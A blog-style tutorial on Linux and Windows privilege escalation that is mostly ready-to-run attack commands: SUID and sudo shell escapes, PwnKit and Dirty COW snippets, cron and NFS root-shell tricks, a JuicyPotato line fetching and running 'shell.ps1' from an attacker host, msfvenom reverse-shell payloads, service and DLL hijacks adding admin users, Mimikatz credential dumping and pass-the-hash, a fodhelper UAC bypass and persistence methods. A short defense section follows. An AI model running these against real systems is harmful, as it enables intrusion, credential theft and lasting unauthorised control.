Privilege Escalation: Exploiting System Weaknesses for Administrative Access
Privilege escalation represents a critical phase in the attack lifecycle, transforming limited user access into administrative control. After gaining initial foothold through vulnerabilities like RCE or credential compromise, attackers must elevate privileges to achieve their objectives: accessing sensitive data, installing persistent backdoors, or pivoting through networks. Privilege escalation vulnerabilities exist across all operating systems and applications, stemming from misconfigurations, design flaws, and implementation errors. This article explores the technical mechanisms of privilege escalation on Linux and Windows systems, exploitation methodologies, and the techniques attackers employ to achieve root or SYSTEM-level access.
Linux Privilege Escalation Fundamentals
Linux systems implement a permission model based on user IDs, group memberships, and file permissions. The root user (UID 0) possesses unrestricted system access. Privilege escalation aims to execute code as root, either through direct exploitation or by manipulating the system's security mechanisms.
SUID/SGID Binary Exploitation
Set-User-ID (SUID) and Set-Group-ID (SGID) binaries execute with the permissions of their owner rather than the executing user. SUID root binaries are prime targets as they run with elevated privileges. Identifying SUID binaries reveals potential escalation vectors:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
Custom or misconfigured SUID binaries often contain vulnerabilities. Consider a vulnerable file viewer with SUID root permissions:
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <filename>\n", argv[0]);
return 1;
}
char cmd[256];
sprintf(cmd, "cat %s", argv[1]); // Vulnerable
system(cmd);
return 0;
}
The system() call executes shell commands, enabling command injection. An attacker exploits this through shell metacharacters:
./vulnerable_viewer "file.txt; bash -p"
The -p flag preserves SUID privileges, spawning a root shell. Even without direct command injection, many SUID binaries provide exploitation opportunities through path manipulation, library injection, or symlink attacks.
Sudo Misconfiguration Exploitation
The sudo mechanism allows users to execute specific commands with elevated privileges. Misconfigurations in /etc/sudoers create escalation paths. Checking sudo permissions:
sudo -l
Common misconfigurations include wildcard abuse. If sudoers contains:
user ALL=(root) NOPASSWD: /usr/bin/find
Attackers leverage find's -exec parameter to execute arbitrary commands:
sudo find /etc -name hosts -exec /bin/bash \;
Text editors like vim, nano, or less in sudoers enable shell escapes. Within vim with sudo privileges:
:set shell=/bin/bash
:shell
This spawns a root shell. GTFOBins catalogs legitimate binaries that can be abused for privilege escalation, file read/write, or command execution when run with elevated privileges.
Kernel Exploits
Kernel vulnerabilities enable unprivileged users to execute code in kernel space, achieving root access. Dirty COW (CVE-2016-5195) exemplifies a race condition in memory management:
// Simplified Dirty COW exploitation
pthread_t pth1, pth2;
pthread_create(&pth1, NULL, madviseThread, stnfo);
pthread_create(&pth2, NULL, writeThread, stnfo);
The exploit triggers a race condition between memory write operations and copy-on-write handling, allowing modification of read-only memory including SUID binaries. Attackers overwrite /usr/bin/passwd with malicious code, creating a root backdoor.
PwnKit (CVE-2021-4034) exploits a buffer overflow in polkit's pkexec:
char *argv[] = {NULL};
char *envp[] = {"GCONV_PATH=.", "exploit", NULL};
execve("/usr/bin/pkexec", argv, envp);
This triggers a memory corruption vulnerability granting root privileges to any local user. Kernel exploits prove highly effective but require specific kernel versions and configurations.
Cron Job Exploitation
Cron jobs executing with elevated privileges present escalation opportunities. Examining system-wide cron configurations:
cat /etc/crontab
ls -la /etc/cron.*
World-writable scripts executed by cron as root enable trivial privilege escalation. If root's crontab executes /opt/backup.sh with loose permissions:
echo '#!/bin/bash' > /opt/backup.sh
echo 'cp /bin/bash /tmp/rootbash' >> /opt/backup.sh
echo 'chmod +s /tmp/rootbash' >> /opt/backup.sh
chmod +x /opt/backup.sh
When cron executes the modified script, it creates a SUID root shell in /tmp/rootbash. PATH hijacking exploits cron jobs executing commands without absolute paths. If a cron script calls backup.py without full path specification, attackers place malicious backup.py earlier in PATH.
Capability Abuse
Linux capabilities partition root privileges into distinct units assignable to specific binaries. Misconfigured capabilities enable privilege escalation. Enumerating capabilities:
getcap -r / 2>/dev/null
The CAP_SETUID capability allows arbitrary UID changes. If Python has this capability:
import os
os.setuid(0)
os.system("/bin/bash")
This spawns a root shell. CAP_DAC_READ_SEARCH bypasses file read permissions, enabling arbitrary file reading including /etc/shadow. Other dangerous capabilities include CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_RAW.
NFS Root Squashing Bypass
Network File Systems (NFS) with disabled root squashing allow root access from client systems. Checking NFS exports:
cat /etc/exports
showmount -e 10.0.0.1
If exports show no_root_squash, attackers mount the share, create SUID binaries as root on their system, and execute them on the target:
# On attacker's system (as root)
mount -t nfs 10.0.0.1:/shared /mnt
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash
# On target system
/shared/rootbash -p
The SUID bit persists across NFS, granting root access on the target.
Windows Privilege Escalation Techniques
Windows privilege escalation targets SYSTEM or Administrator accounts, the highest privilege levels. Windows' complex permission model involving users, groups, privileges, and access control lists creates numerous escalation vectors.
Token Manipulation and Impersonation
Windows access tokens contain security context including user identity, group memberships, and privileges. Token impersonation allows processes to execute with alternate security contexts. The SeImpersonatePrivilege enables process token impersonation, commonly granted to service accounts.
Juicy Potato exploits this privilege through DCOM activation. When service accounts with SeImpersonatePrivilege interact with attacker-controlled DCOM objects, the attacker impersonates SYSTEM tokens:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')" -t *
PrintSpoofer and RoguePotato represent evolution of this technique, exploiting different Windows services with impersonation privileges.
Unquoted Service Paths
Windows services with unquoted paths containing spaces create execution hijacking opportunities. If a service path is:
C:\Program Files\Custom Service\service.exe
Windows searches for executables in this order:
C:\Program.exeC:\Program Files\Custom.exeC:\Program Files\Custom Service\service.exe
Attackers with write access to C:\Program Files\ place malicious Custom.exe, executed as SYSTEM when the service starts:
# Identify unquoted service paths
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Create malicious executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f exe > Custom.exe
Weak Service Permissions
Services with misconfigured permissions allow unprivileged users to modify service configurations. PowerUp identifies vulnerable services:
Import-Module PowerUp.ps1
Get-ModifiableService
If a user can modify a service running as SYSTEM, they reconfigure it to execute arbitrary commands:
sc config vulnerable binPath= "cmd.exe /c net user attacker password /add && net localgroup administrators attacker /add"
sc stop vulnerable
sc start vulnerable
This creates an administrative user when the service restarts. Similar vulnerabilities exist in service DLLs and executables with weak ACLs.
DLL Hijacking
Applications loading DLLs without absolute paths search multiple directories in specific order. Attackers place malicious DLLs in writable locations earlier in the search path. Process Monitor identifies missing DLLs:
# Filter Process Monitor for NAME NOT FOUND results
# Common hijackable DLLs: version.dll, dwmapi.dll, uxtheme.dll
Creating a malicious DLL that executes payload on load:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
if (ul_reason == DLL_PROCESS_ATTACH) {
system("cmd.exe /c net user attacker password /add");
}
return TRUE;
}
When the application loads this DLL, the payload executes with the application's privileges.
Always Install Elevated
Windows Installer can be configured to always install with elevated privileges through registry settings. Checking this misconfiguration:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return value 1, attackers create malicious MSI packages executing arbitrary code as SYSTEM:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f msi > exploit.msi
msiexec /quiet /qn /i exploit.msi
Registry AutoRuns
Registry keys specifying programs to run at startup present persistence and escalation vectors. If these keys are writable, attackers inject malicious executables:
# Check writable autoruns
accesschk.exe -wvu "C:\Program Files\Startup"
# Common autorun locations
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Modifying registry autoruns to execute payloads with administrative privileges during system startup or user login.
Scheduled Tasks
Windows Task Scheduler runs tasks with elevated privileges. Tasks with weak file permissions or executing binaries from writable directories enable escalation:
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,State
If a scheduled task running as SYSTEM executes a binary with weak permissions, replacing it with malicious code grants SYSTEM access when the task runs.
Credential Harvesting
Extracting credentials from memory or storage facilitates lateral movement and privilege escalation. Mimikatz dumps credentials from LSASS memory:
privilege::debug
sekurlsa::logonpasswords
This retrieves plaintext passwords, NTLM hashes, and Kerberos tickets. Pass-the-hash attacks use stolen NTLM hashes for authentication without cracking passwords:
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:hash /run:cmd.exe
Credentials stored in configuration files, scripts, or registry provide additional escalation paths. PowerShell command history, IIS web.config files, and saved RDP credentials frequently contain privileged account passwords.
UAC Bypass
User Account Control (UAC) prompts users when applications request elevation. UAC bypass techniques leverage trusted Windows binaries and registry manipulation to elevate privileges without prompts.
The fodhelper.exe bypass exploits a registry key checked by this trusted binary:
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start powershell" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
This spawns an elevated PowerShell without UAC prompt. Other UAC bypass methods exploit eventvwr.exe, computerdefaults.exe, and sdclt.exe through similar registry manipulation.
Automated Enumeration Tools
Manual privilege escalation enumeration proves time-consuming. Automated tools accelerate the discovery process:
Linux:
- LinPEAS: Comprehensive Linux privilege escalation enumeration
- LinEnum: Shell script checking common escalation vectors
- Linux Exploit Suggester: Identifies applicable kernel exploits
Windows:
- WinPEAS: Windows privilege escalation enumeration
- PowerUp: PowerShell script identifying common Windows misconfigurations
- Seatbelt: C# tool performing security-oriented reconnaissance
- Watson: Suggests kernel exploits based on Windows version
These tools enumerate SUID binaries, sudo configurations, scheduled tasks, service permissions, registry settings, and other escalation vectors systematically.
Persistence Mechanisms Post-Escalation
After achieving elevated privileges, attackers establish persistence to maintain access:
Linux:
- Adding SSH keys to
/root/.ssh/authorized_keys - Creating SUID backdoors in obscure locations
- Modifying systemd service files
- Installing kernel-level rootkits
Windows:
- Creating scheduled tasks running as SYSTEM
- Adding users to administrative groups
- Installing services with elevated privileges
- Registry Run keys and WMI event subscriptions
Defense Strategies
Preventing privilege escalation requires defense-in-depth approaches:
System Hardening:
- Remove unnecessary SUID binaries
- Configure strict sudo policies
- Implement least privilege principles
- Regular patch management for kernel vulnerabilities
Monitoring and Detection:
- Audit privileged account usage
- Monitor unusual process creation
- Log sudo command execution
- Alert on service modification
Access Controls:
- Enforce strong password policies
- Implement multi-factor authentication
- Regular security audits of permissions
- Disable unnecessary services and features
Conclusion
Privilege escalation represents a critical vulnerability class enabling attackers to transform limited access into complete system compromise. These vulnerabilities arise from misconfigurations, design flaws, and implementation errors across operating systems and applications. Understanding escalation techniques—from SUID exploitation to token impersonation—enables security professionals to identify and remediate vulnerabilities before attackers exploit them. As systems grow increasingly complex, rigorous configuration management, regular security auditing, and principle of least privilege remain essential to preventing privilege escalation attacks. Organizations must assume breach scenarios and implement defense-in-depth strategies ensuring that initial compromise doesn't automatically lead to complete infrastructure takeover.
Comments
Post a Comment